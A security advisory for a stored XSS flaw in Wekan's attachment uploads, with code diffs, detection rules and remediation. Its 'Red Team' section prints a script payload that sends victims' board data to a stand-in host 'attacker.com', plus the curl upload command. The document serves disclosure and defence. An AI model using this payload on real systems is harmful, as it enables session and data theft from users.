CVE-2025-65778
Executive Summary
CVE-2025-65778 is a stored Cross-Site Scripting (XSS) vulnerability in Wekan, an open-source kanban board application. The flaw allows an attacker to upload a file with a manipulated Content-Type header set to text/html. When this file is subsequently accessed by a victim, the browser renders it as HTML, executing attacker-supplied JavaScript within the application's origin. This enables session token theft, credential harvesting, and Cross-Site Request Forgery (CSRF) actions. The vulnerability affects all versions prior to 18.16 and is now patched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Wekan is distributed as a Node.js application via GitHub releases and Docker images. The vulnerability is not in a dependency but in the application's own file upload handling logic. Organizations using Wekan should verify their deployment source and ensure they are not using a forked or unmaintained version.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – An unauthenticated attacker can upload a malicious file.
- User Interaction (UI): Required (R) – The victim must click on the uploaded file link.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Session tokens and sensitive data can be stolen.
- Integrity (I): Low (L) – Limited ability to modify data via CSRF.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 7.1 (High)
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of Wekan. When a user uploads an attachment, the application stores the file and serves it with a Content-Type derived from the client-supplied request. An attacker can craft an HTTP upload request where the Content-Type header is set to text/html while the file content contains malicious JavaScript.
When another user (or the same user) navigates to the attachment URL, the browser receives the Content-Type: text/html header and renders the file as an HTML page. The embedded JavaScript executes in the context of the Wekan application's origin, allowing the attacker to:
- Steal session cookies (
document.cookie). - Perform actions on behalf of the victim (CSRF).
- Redirect to phishing pages.
- Deface the board.
The root cause is the lack of server-side validation of the Content-Type header and the absence of Content-Disposition: attachment headers for uploaded files.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-18.16):
// routes/attachments.js (simplified)
Router.route('/attachment/:fileId', function () {
var file = Attachments.findOne({ _id: this.params.fileId });
if (file) {
var response = this.response;
response.writeHead(200, {
'Content-Type': file.contentType, // Attacker-controlled
'Content-Length': file.length
});
response.end(file.data);
}
});
Patched Code (18.16+):
// routes/attachments.js (simplified)
Router.route('/attachment/:fileId', function () {
var file = Attachments.findOne({ _id: this.params.fileId });
if (file) {
var response = this.response;
// Force download and sanitize content type
var safeType = 'application/octet-stream';
response.writeHead(200, {
'Content-Type': safeType,
'Content-Disposition': 'attachment; filename="' + file.name + '"',
'Content-Length': file.length
});
response.end(file.data);
}
});
The patch forces all attachments to be served with Content-Type: application/octet-stream and adds a Content-Disposition: attachment header, preventing the browser from rendering the file as HTML.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Wekan instance (version < 18.16) accessible over the network.
- Ability to upload a file (no authentication required if board is public).
Exploitation Steps:
- Create a malicious HTML file containing JavaScript payload:
<script> fetch('/api/boards', { credentials: 'include' }) .then(r => r.json()) .then(data => { new Image().src = 'http://attacker.com/steal?data=' + JSON.stringify(data); }); </script> - Upload the file using a crafted HTTP request:
curl -X POST \ -F "file=@malicious.html;type=text/html" \ -F "boardId=BOARD_ID" \ http://target.wekan/upload - Obtain the attachment URL from the response (e.g.,
/attachment/abc123). - Send the link to a victim (e.g., via board comments or email).
- When the victim clicks the link, the JavaScript executes, exfiltrating data.
Blue Team
Detection:
- Monitor for uploads with
Content-Type: text/htmlin HTTP logs. - Alert on access to attachment URLs with
Content-Type: text/htmlin response headers. - Use WAF rules to block uploads with
text/htmlcontent type for non-HTML file extensions.
Hunting:
- Search for attachment URLs in web server logs that return
Content-Type: text/html. - Review uploaded files for script tags or suspicious JavaScript.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with
Content-Type: text/htmlin upload endpoints. - Responses from
/attachment/*withContent-Type: text/html.
- HTTP requests with
- File System:
- Uploaded files containing
<script>tags or event handlers (e.g.,onload,onerror).
- Uploaded files containing
- Logs:
- Web server logs showing
POST /uploadwithContent-Type: text/html. - Access logs to
/attachment/*with unusual user agents or referrers.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_65778_Wekan_XSS {
meta:
description = "Detects malicious HTML files uploaded to Wekan for XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65778"
strings:
$script = /<script[\s>]/ nocase
$onload = /onload\s*=/ nocase
$onerror = /onerror\s*=/ nocase
$html_tag = "<html" nocase
condition:
($script or $onload or $onerror) and $html_tag
}
Sigma Rule
title: Wekan Attachment XSS Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP upload requests with Content-Type text/html to Wekan
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/upload'
sc-content-type: 'text/html'
condition: selection
falsepositives:
- Legitimate HTML file uploads (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65778 Wekan XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"text/html"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Wekan to version 18.16 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to force
Content-Disposition: attachmentfor all/attachment/*paths:location /attachment/ { add_header Content-Disposition 'attachment; filename="$upstream_http_x_filename"'; proxy_pass http://wekan_backend; }
Long-term:
- Implement server-side validation of uploaded file content types.
- Use a whitelist of allowed MIME types.
- Serve all user-uploaded content from a separate domain to isolate origin.
- Conduct regular security audits of file upload functionality.
Valters IT